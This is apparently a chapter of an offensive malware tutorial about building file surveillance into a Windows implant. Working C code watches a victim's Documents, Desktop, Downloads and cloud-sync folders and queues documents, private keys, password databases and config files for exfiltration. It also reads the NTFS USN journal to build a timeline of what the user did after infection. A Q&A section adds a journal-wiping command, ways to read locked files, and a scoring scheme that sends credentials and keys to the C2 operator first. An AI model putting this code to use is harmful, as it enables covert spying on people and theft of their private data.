File System Surveillance
File system surveillance monitors the victim's filesystem in real time — watching for new documents created, files downloaded, sensitive data accessed — and automatically exfiltrating items that match interest criteria. Combined with file timeline reconstruction (using NTFS timestamps and journal entries), you can build a complete picture of what documents the user has worked on, what they've accessed, and what has changed on the system since your initial access.
ReadDirectoryChangesW — Real-Time File Monitoring
/* file_surveillance.c — Monitor directories for new/changed files
ReadDirectoryChangesW is the Windows API for filesystem watching.
It returns change notifications: created, modified, renamed, deleted,
with the filename that changed. We filter for new files matching
our interest patterns, then automatically queue them for exfil.
*/
#include <windows.h>
#include <stdio.h>
/* File interest patterns — extensions worth auto-exfiltrating */
static const WCHAR *g_target_exts[] = {
L".docx", L".doc", L".xlsx", L".xls", L".pdf",
L".pptx", L".ppt", L".txt", L".rtf", L".odt",
L".key", L".p12", L".pem", L".pfx", /* Crypto keys */
L".kdbx", L".1pux", /* Password managers */
L".sql", L".mdb", L".accdb", /* Databases */
L".py", L".js", L".ts", L".go", L".rs", /* Source code */
L".env", L".cfg", L".conf", L".ini", /* Config files */
L".zip", L".7z", L".rar", /* Archives — may contain above */
NULL
};
/* Auto-exfil size limit: skip files over 50MB */
#define MAX_AUTO_EXFIL_BYTES (50 * 1024 * 1024)
typedef struct {
WCHAR watch_dir[MAX_PATH];
BOOL recursive;
HANDLE hDir;
HANDLE hStopEvent;
} DirWatcher;
static BOOL extension_is_interesting(const WCHAR *filename) {
const WCHAR *dot = wcsrchr(filename, L'.');
if (!dot) return FALSE;
for (int i = 0; g_target_exts[i]; i++) {
if (_wcsicmp(dot, g_target_exts[i]) == 0) return TRUE;
}
return FALSE;
}
static void handle_new_file(const WCHAR *dir, const WCHAR *filename) {
WCHAR full_path[MAX_PATH * 2];
swprintf(full_path, MAX_PATH * 2, L"%s\\%s", dir, filename);
/* Get file size before deciding to exfiltrate */
WIN32_FILE_ATTRIBUTE_DATA fa = {0};
if (!GetFileAttributesExW(full_path, GetFileExInfoStandard, &fa)) return;
if (fa.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) return;
UINT64 file_size = ((UINT64)fa.nFileSizeHigh << 32) | fa.nFileSizeLow;
if (file_size == 0 || file_size > MAX_AUTO_EXFIL_BYTES) {
printf("[*] Skipping %ls (size=%llu)\n", filename, file_size);
return;
}
if (!extension_is_interesting(filename)) {
/* Still log it — tell operator something interesting was created */
printf("[FS] File created (skipped auto-exfil): %ls (%llu bytes)\n",
full_path, file_size);
return;
}
printf("[!] Auto-exfil candidate: %ls (%llu bytes)\n", full_path, file_size);
/* (queue full_path for TASK_FILE_DOWNLOAD — exfil via Ch84) */
}
static DWORD WINAPI dir_watcher_thread(PVOID param) {
DirWatcher *watcher = (DirWatcher*)param;
/* Open directory handle for change notifications */
watcher->hDir = CreateFileW(watcher->watch_dir,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL);
if (watcher->hDir == INVALID_HANDLE_VALUE) return 1;
BYTE notify_buf[65536];
OVERLAPPED ovl = {0};
ovl.hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
while (TRUE) {
ResetEvent(ovl.hEvent);
BOOL ok = ReadDirectoryChangesW(
watcher->hDir,
notify_buf, sizeof(notify_buf),
watcher->recursive, /* Recurse into subdirectories */
FILE_NOTIFY_CHANGE_FILE_NAME /* Created, renamed, deleted */
| FILE_NOTIFY_CHANGE_LAST_WRITE /* Modified */
| FILE_NOTIFY_CHANGE_SIZE, /* Size changed */
NULL, &ovl, NULL);
if (!ok) break;
/* Wait for either a change or the stop event */
HANDLE handles[2] = {ovl.hEvent, watcher->hStopEvent};
DWORD wait_result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (wait_result == WAIT_OBJECT_0 + 1) break; /* Stop signal */
/* Process notifications */
DWORD bytes_returned = 0;
GetOverlappedResult(watcher->hDir, &ovl, &bytes_returned, FALSE);
DWORD offset = 0;
do {
FILE_NOTIFY_INFORMATION *info = (FILE_NOTIFY_INFORMATION*)(notify_buf + offset);
/* Extract filename (not null-terminated — use info->FileNameLength) */
WCHAR filename[MAX_PATH] = {0};
DWORD copy_chars = info->FileNameLength / sizeof(WCHAR);
if (copy_chars >= MAX_PATH) copy_chars = MAX_PATH - 1;
memcpy(filename, info->FileName, copy_chars * sizeof(WCHAR));
/* Handle each action type */
switch (info->Action) {
case FILE_ACTION_ADDED:
printf("[FS] Created: %ls\n", filename);
handle_new_file(watcher->watch_dir, filename);
break;
case FILE_ACTION_MODIFIED:
/* Log modification but don't auto-exfil on every save */
printf("[FS] Modified: %ls\n", filename);
break;
case FILE_ACTION_RENAMED_NEW_NAME:
printf("[FS] Renamed to: %ls\n", filename);
/* Renamed files (e.g., temp→final) may now have an interesting extension */
handle_new_file(watcher->watch_dir, filename);
break;
case FILE_ACTION_REMOVED:
printf("[FS] Deleted: %ls\n", filename);
break;
}
offset += info->NextEntryOffset;
} while (offset > 0 && *(DWORD*)(notify_buf + offset - sizeof(DWORD)) != 0);
}
CloseHandle(ovl.hEvent);
CloseHandle(watcher->hDir);
return 0;
}
/* Watch the high-value locations */
void start_file_surveillance(void) {
static DirWatcher watchers[8] = {0};
static HANDLE threads[8];
int watcher_count = 0;
/* Construct paths relative to environment variables */
const WCHAR *watch_dirs_fmt[] = {
L"%USERPROFILE%\\Documents",
L"%USERPROFILE%\\Desktop",
L"%USERPROFILE%\\Downloads",
L"%USERPROFILE%\\OneDrive",
L"%USERPROFILE%\\Dropbox",
L"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
NULL
};
for (int i = 0; watch_dirs_fmt[i] && watcher_count < 8; i++) {
DirWatcher *w = &watchers[watcher_count];
ExpandEnvironmentStringsW(watch_dirs_fmt[i], w->watch_dir, MAX_PATH);
w->recursive = TRUE;
w->hStopEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
if (GetFileAttributesW(w->watch_dir) != INVALID_FILE_ATTRIBUTES) {
threads[watcher_count] = CreateThread(NULL, 0, dir_watcher_thread, w, 0, NULL);
printf("[+] Watching: %ls\n", w->watch_dir);
watcher_count++;
}
}
}
NTFS Timeline Reconstruction
NTFS stores 4 timestamps per file ($STANDARD_INFORMATION attribute):
─────────────────────────────────────────────────────────────────────────
Created ($CRTIME) — when the file was first created on this filesystem
Modified ($MTIME) — when file content was last written
Changed ($CTIME) — when any attribute changed (permissions, name, etc.)
Accessed ($ATIME) — when file was last read (often disabled for performance)
The $FILE_NAME attribute has its own MACE timestamps — important for
forensics because MACE timestamps in $STANDARD_INFORMATION can be
modified with SetFileTime() (timestomping), but $FILE_NAME timestamps
are updated by the OS and harder to fake.
USN Change Journal ($Extend\$UsnJrnl:$J):
─────────────────────────────────────────────────────────────────────────
The NTFS Update Sequence Number (USN) Journal is a running log of
every file change on the volume: create, modify, delete, rename, etc.
Each entry: USN, timestamp, reason code, file name, parent directory
This is the forensics gold standard — but attackers can use it too:
Read the journal to build a timeline of what changed on the system
since our implant deployed. This reveals:
• Documents created after infection (user's work product)
• Files downloaded from the internet (new files in Downloads)
• Applications installed or updated
• Configuration changes (files in AppData, ProgramData)
Wiping the USN journal (fsutil usn deletejournal /D C:) removes this
record — but the act of wiping the journal is itself detectable by
forensics tools as "journal deletion" event in the Windows event log.Reading the USN Change Journal
/* usn_journal.c — Read NTFS USN Journal to enumerate recent file changes */
/*
* DeviceIoControl with FSCTL_QUERY_USN_JOURNAL (get journal info),
* then FSCTL_READ_USN_JOURNAL (read entries from a given USN forward).
* We record the journal's start USN when the agent first deploys,
* then on each harvest, read all new entries since that USN.
*/
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
typedef struct {
DWORDLONG low_usn; /* USN at time of agent deployment */
DWORDLONG high_usn; /* Current journal end USN */
DWORDLONG journal_id; /* Journal ID (changes if journal is recreated) */
} JournalState;
static JournalState g_journal = {0};
BOOL journal_init(char drive_letter) {
char dev_path[8];
snprintf(dev_path, sizeof(dev_path), "\\\\.\\%c:", drive_letter);
HANDLE hVol = CreateFileA(dev_path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hVol == INVALID_HANDLE_VALUE) return FALSE;
USN_JOURNAL_DATA_V0 jdata = {0};
DWORD returned = 0;
BOOL ok = DeviceIoControl(hVol, FSCTL_QUERY_USN_JOURNAL,
NULL, 0, &jdata, sizeof(jdata), &returned, NULL);
if (!ok) { CloseHandle(hVol); return FALSE; }
g_journal.journal_id = jdata.UsnJournalID;
g_journal.low_usn = jdata.NextUsn; /* Start from NOW (not history) */
printf("[+] USN Journal: ID=%llx, starting at USN=%llx\n",
g_journal.journal_id, g_journal.low_usn);
CloseHandle(hVol);
return TRUE;
}
void journal_harvest(char drive_letter) {
char dev_path[8];
snprintf(dev_path, sizeof(dev_path), "\\\\.\\%c:", drive_letter);
HANDLE hVol = CreateFileA(dev_path, GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hVol == INVALID_HANDLE_VALUE) return;
READ_USN_JOURNAL_DATA_V0 read_data = {0};
read_data.StartUsn = g_journal.low_usn;
read_data.ReasonMask = 0xFFFFFFFF; /* All reason codes */
read_data.ReturnOnlyOnClose = FALSE;
read_data.Timeout = 0;
read_data.BytesToWaitFor = 0;
read_data.UsnJournalID = g_journal.journal_id;
BYTE buf[65536];
DWORD returned = 0;
while (DeviceIoControl(hVol, FSCTL_READ_USN_JOURNAL,
&read_data, sizeof(read_data),
buf, sizeof(buf), &returned, NULL)) {
/* First 8 bytes of output is the next USN to read from */
USN next_usn = *(USN*)buf;
DWORD offset = sizeof(USN);
while (offset < returned) {
USN_RECORD_V2 *rec = (USN_RECORD_V2*)(buf + offset);
if (rec->RecordLength == 0) break;
/* Extract filename from the USN record */
WCHAR name[MAX_PATH] = {0};
DWORD name_chars = rec->FileNameLength / sizeof(WCHAR);
if (name_chars < MAX_PATH)
memcpy(name, rec->FileName, rec->FileNameLength);
/* Log interesting activities */
if (rec->Reason & USN_REASON_FILE_CREATE)
printf("[USN] Created: %ls\n", name);
if (rec->Reason & USN_REASON_DATA_OVERWRITE)
printf("[USN] Modified: %ls\n", name);
if (rec->Reason & USN_REASON_FILE_DELETE)
printf("[USN] Deleted: %ls\n", name);
if (rec->Reason & USN_REASON_RENAME_NEW_NAME)
printf("[USN] Renamed: %ls\n", name);
offset += rec->RecordLength;
}
read_data.StartUsn = next_usn;
g_journal.low_usn = next_usn;
if (returned <= sizeof(USN)) break; /* No more entries */
}
CloseHandle(hVol);
}
Questions & Answers
How do you handle files that are being actively written when the notification fires?
ReadDirectoryChangesW fires FILE_ACTION_MODIFIED (or FILE_ACTION_ADDED for new files) when the change first occurs — which may be milliseconds into a large file write. If you immediately try to read a file being written, you get a partial read, a sharing violation (if the writer has exclusive access), or garbage data. The right approach is delayed-read: when you get a FILE_ACTION_ADDED notification, add the file to a pending list with a timestamp. After 2-5 seconds, check if the file's size/modification time has stabilized (unchanged for 2 consecutive 1-second polls). Only then attempt to read and exfiltrate it. This handles documents being saved incrementally, downloads in progress, and any other multi-second write operation. For files with exclusive write locks (FILE_SHARE_READ denied), use the same FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE flags from Ch78's locked database technique to read despite the lock.
How does the monitoring interact with cloud sync clients (OneDrive, Dropbox)?
Cloud sync clients (OneDrive, Dropbox, Google Drive) create local sync folders that mirror to the cloud. Files that appear in these folders are being actively synced — you're effectively seeing everything the user saves to cloud storage. Watching these directories gives you files not just from this session but also files synced down from their cloud (documents from other devices, shared team files). The interesting case: when OneDrive downloads a shared file from a colleague, a FILE_ACTION_ADDED notification fires in the OneDrive folder — you automatically get the file. For OneDrive specifically: Files On-Demand (cloud-only files that appear as placeholders with no local data) have the FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS attribute. When you try to read them, OneDrive fetches them from the cloud first. This is useful — reading a placeholder triggers the download and then you can read the actual content. But it also causes network activity that might be noticed.
Can you reconstruct file access history from NTFS without the USN journal?
The $MFT (Master File Table) contains $STANDARD_INFORMATION timestamps for every file on the volume. Reading the raw MFT gives you created/modified/changed/accessed times for all files, which is a snapshot of the complete file activity history. The challenge: the MFT is a system file and can't be opened normally. Access it via: (1) The volume device: CreateFile("\\\\.\\C:", ...) with FSCTL_QUERY_ALLOCATED_RANGES and manual MFT parsing. (2) Third-party MFT parsing libraries. Without the USN journal, you can reconstruct a timeline from the $STANDARD_INFORMATION timestamps: sort all files in user directories by $MTIME and you have a list of what the user worked on in chronological order. Timestomping (SetFileTime) can alter $STANDARD_INFORMATION timestamps, but $FILE_NAME timestamps (in a different MFT attribute) are kernel-only and can't be altered from userland — they remain accurate even after timestomping attacks. For the purposes of surveillance (not forensics), the $STANDARD_INFORMATION timestamps are usually sufficient.
What's the right strategy for handling archives (.zip, .7z) that may contain sensitive files?
Archives are a signal that the user is preparing to transfer or compress sensitive files — often a prelude to sending them by email or uploading. Detection priority: when a .zip or .7z appears in the Downloads, Desktop, or Documents folder, it's worth exfiltrating even if you don't know the contents. The archive itself is the unit of intelligence. Size filtering: apply stricter limits for archives (e.g., max 20MB auto-exfil for archives vs. 50MB for documents) because archives compress well — a 20MB ZIP could contain 100MB of files. If the archive exceeds the auto-exfil limit: log its path and creation time, notify the C2 operator, and let them decide whether to issue a manual TASK_FILE_DOWNLOAD. For in-memory decompression to inspect contents without full exfil: Windows has built-in .zip support (IShellDispatch5::Namespace() and Shell.NameSpace() via COM) that can enumerate archive contents in-process. Read just the file listing from the archive header (first few KB), send the listing to C2, and let the operator decide which specific files within the archive to extract and exfil.
How do you prioritize which files to exfiltrate when there are thousands of candidates?
A scoring system based on multiple signals: (1) File type priority score: .key/.pem/.pfx (private keys) = 100, .kdbx (KeePass) = 100, .pdf/.docx/.xlsx with "confidential/secret/classified" in the name = 90, general .docx/.xlsx/.pdf = 50, .zip/.7z = 40. (2) Path context bonus: files in Documents/Desktop = +20, Downloads = +10, Temp = -20. (3) Recency bonus: created in the last 24 hours = +30, last 7 days = +15. (4) Name keyword bonus: "password", "credential", "key", "certificate", "budget", "salary", "confidential", "secret" = +30 each. (5) Size penalty: >10MB = -20, >25MB = -40. Files scoring above threshold (e.g., 60+) auto-exfil. Files scoring 40-60 are logged to the C2 operator for manual decision. Files below 40 are logged but not queued. This priority scoring prevents the exfil queue from being flooded with low-value documents while ensuring critical intelligence (private keys, password databases, confidential reports) gets out first.